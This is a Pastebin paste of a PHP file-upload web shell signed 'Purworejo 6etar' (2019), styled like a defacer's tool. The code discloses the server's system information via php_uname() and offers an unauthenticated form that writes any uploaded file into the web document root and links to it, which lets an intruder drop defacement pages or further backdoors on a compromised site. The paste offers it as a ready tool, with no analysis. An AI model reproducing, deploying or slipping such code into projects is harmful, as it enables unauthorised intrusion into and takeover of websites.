Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>Uploader Purworejo 6etar</title>
- </head>
- <body>
- <body bgcolor="#000000" background="" link="#444444" vlink="#444444">
- <center><img src="https://i.ibb.co/Lhht0Wq/zaen.jpg"width="750"height="300">
- </center>
- </body>
- </html>
- <?php
- echo "<b>".php_uname()."</b><br>";
- echo "<form method='post' enctype='multipart/form-data'>
- <center><input type='file' name='idx_file'>
- <input type='submit' name='upload' value='upload'></center>
- </form>";
- $root = $_SERVER['DOCUMENT_ROOT'];
- $files = $_FILES['idx_file']['name'];
- $dest = $root.'/'.$files;
- if(isset($_POST['upload'])) {
- if(is_writable($root)) {
- if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
- $web = "http://".$_SERVER['HTTP_HOST']."/";
- echo "sukses upload -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
- } else {
- echo "gagal upload di document root.";
- }
- } else {
- if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
- echo "sukses upload <b>$files</b> di folder ini";
- } else {
- echo "gagal";
- }
- }
- }
- ?>
- <html>
- <head>
- </head>
- <body>
- <br>
- <br>
- <center><font size="3"><font color="silver">©2019 Purworejo 6etar</font></font></center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement